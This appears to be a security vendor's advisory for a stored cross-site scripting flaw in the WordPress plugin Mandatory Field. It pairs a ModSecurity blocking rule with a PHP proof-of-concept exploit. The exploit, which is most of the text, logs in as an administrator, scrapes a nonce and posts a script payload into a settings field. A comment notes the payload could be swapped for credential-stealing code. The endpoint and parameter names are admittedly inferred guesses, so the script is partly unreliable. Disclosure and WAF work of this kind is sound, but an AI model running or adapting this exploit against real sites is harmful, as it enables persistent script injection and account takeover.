CVE-2026-1278: Mandatory Field <= 1.6.8 – Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Fields (mandatory-fields)

# Atomic Edge WAF Rule - CVE-2026-1278 (metadata-based)
# This rule targets the inferred admin settings update endpoint for the Mandatory Field plugin.
# It blocks POST requests containing XSS patterns in parameters likely used by the plugin's settings.
# The rule is chained to match both the specific WordPress admin handler and the malicious payload.
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
  "id:20261278,phase:2,deny,status:403,chain,msg:'CVE-2026-1278: Mandatory Field Plugin Stored XSS via admin-post.php',severity:'CRITICAL',tag:'CVE-2026-1278',tag:'WordPress',tag:'Plugin=Mandatory-Field',tag:'Attack/XSS'"
  SecRule ARGS_POST:action "@streq save_mandatory_field_settings" "chain"
    SecRule ARGS_POST:mandatory_field_option "@rx <script[^>]*>" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,setvar:'tx.cve_2026_1278_blocked=1'"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1278 - Mandatory Field <= 1.6.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Fields
<?php

/**
 * Proof of Concept for CVE-2026-1278.
 * This script simulates an authenticated administrator exploiting the stored XSS vulnerability
 * in the Mandatory Field plugin's settings. The exact endpoint and parameter names are inferred
 * from common WordPress plugin patterns, as the patched version is unavailable for code review.
 * Assumptions:
 * 1. The plugin uses a standard WordPress settings page (e.g., under Settings -> Mandatory Field).
 * 2. The settings are saved via a POST request to options.php or an admin-post.php endpoint.
 * 3. The vulnerable parameter is a field named like 'mandatory_field_option'.
 * 4. The attacker has valid administrator credentials and a valid nonce.
 */

$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'admin'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// Payload to inject. This is a simple alert for demonstration.
// In a real attack, this could be replaced with a credential-stealing or backdoor script.
$xss_payload = '<script>alert("XSS via Mandatory Field Settings");</script>';

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for a dashboard redirect or absence of login form
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Fetch the plugin's settings page to obtain a nonce and the form structure.
// The settings page slug is inferred from the plugin name.
$settings_page_url = $target_url . '/wp-admin/options-general.php?page=mandatory-fields';
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Extract a nonce. WordPress nonces are typically named '_wpnonce' or contain 'mandatory_field'.
// This regex is a best-effort guess.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
    // Try alternative nonce pattern
    preg_match('/name="mandatory_field_nonce" value="([a-f0-9]+)"/', $settings_page, $nonce_matches);
    $nonce = $nonce_matches[1] ?? '';
}
if (empty($nonce)) {
    die('Could not extract security nonce. The page structure may differ.');
}

// Step 3: Submit the malicious payload to the settings save handler.
// WordPress plugins often save settings via admin-post.php with an 'action' parameter.
$save_url = $target_url . '/wp-admin/admin-post.php';
// The action parameter is inferred. It could also be a direct POST to options.php.
$exploit_fields = [
    'action' => 'save_mandatory_field_settings', // Inferred action name
    '_wpnonce' => $nonce,
    'mandatory_field_option' => $xss_payload, // Injected into a settings field
    'submit' => 'Save Settings'
];
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$save_response = curl_exec($ch);

// Step 4: Verify the payload was stored by fetching the settings page again.
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$verification_page = curl_exec($ch);

if (strpos($verification_page, $xss_payload) !== false) {
    echo "SUCCESS: XSS payload appears to be stored in the settings page.n";
    echo "Visit $settings_page_url as an authenticated user to trigger the script.n";
} else {
    echo "Payload may not have been stored. The form endpoint or parameter names might differ.n";
    echo "Response length: " . strlen($save_response) . "n";
}

curl_close($ch);

?>